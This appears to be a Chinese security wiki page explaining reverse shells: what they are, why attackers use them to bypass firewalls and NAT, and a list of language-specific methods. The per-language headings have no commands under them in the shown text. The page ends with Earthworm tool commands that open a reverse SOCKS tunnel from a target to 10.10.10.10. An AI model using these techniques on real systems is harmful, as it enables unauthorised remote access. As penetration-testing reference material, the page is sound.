😅反弹Shell大全与原理
什么是反弹shell
reverse shell(反弹shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1、对方主机在局域网内,从外网无法直接访问。
2、对方主机上存在WAF,对主动连接发来的请求数据检测严格,而对向外发出的请求不进行检测或检测较少。
3、对方的ip会动态改变,你不能持续控制。
4、对方由于防火墙等限制,对方机器只能发送请求,不能接收请求。
5、对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。在渗透测试过程中,得到webshell后一般我们会反弹shell。
反弹shell原理
反弹shell操作步骤
反弹shell方法大全

Bash反弹shell
这样一个简单的shell反弹就完成了,只要目标主机执行了这条命令,我就获取到了他的shell界面
Bash反弹shell TCP
Bash反弹shell UDP
NC反弹shell
perl反弹shell
Python反弹shell
基于linux的python
基于Windows的Python反弹shell
Ncat反弹shell
OpenSSL反弹shell
crontab反弹shell
PHP反弹shell
Java反弹shell
socat反弹shell
Lua反弹shell
Telnet反弹shell
Nodejs反弹shell
C反弹shell
扩展
https://github.com/lukechilds/reverse-shell
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md
ew(Earthworm)网络穿透工具反弹Shell
EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透,亦可用于反弹Shell等。属于Hacking Tools。
该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。工具包中提供了多种可执行文件,以适用不同的操作系统,Linux、Windows、MacOS、Arm-Linux 均被包括其内
Earthworm下载
http://rootkiter.com/EarthWorm
Earthworm使用
上传ew.exe 然后在本地执行:ew.exe -s rcsocks -l 1008 -e 888 说明:监听888端口,把接收到的数据转到本地的1008端口。
在目标上执行ew.exe -s rssocks -d 10.10.10.10 -e 888 说明:开启sockes 并反弹到ip地址为10.10.10.10 端口为888 反弹代理成功以后,本地会出现rssocks cmd_socket ok!
现在打开我们的SocksCap64,新建一个代理。ip为127.0.0.1端口为1008,配置好了以后,点击保存。现在我们把需要走代理的工具都放到SocksCap64里面。
这有帮助吗?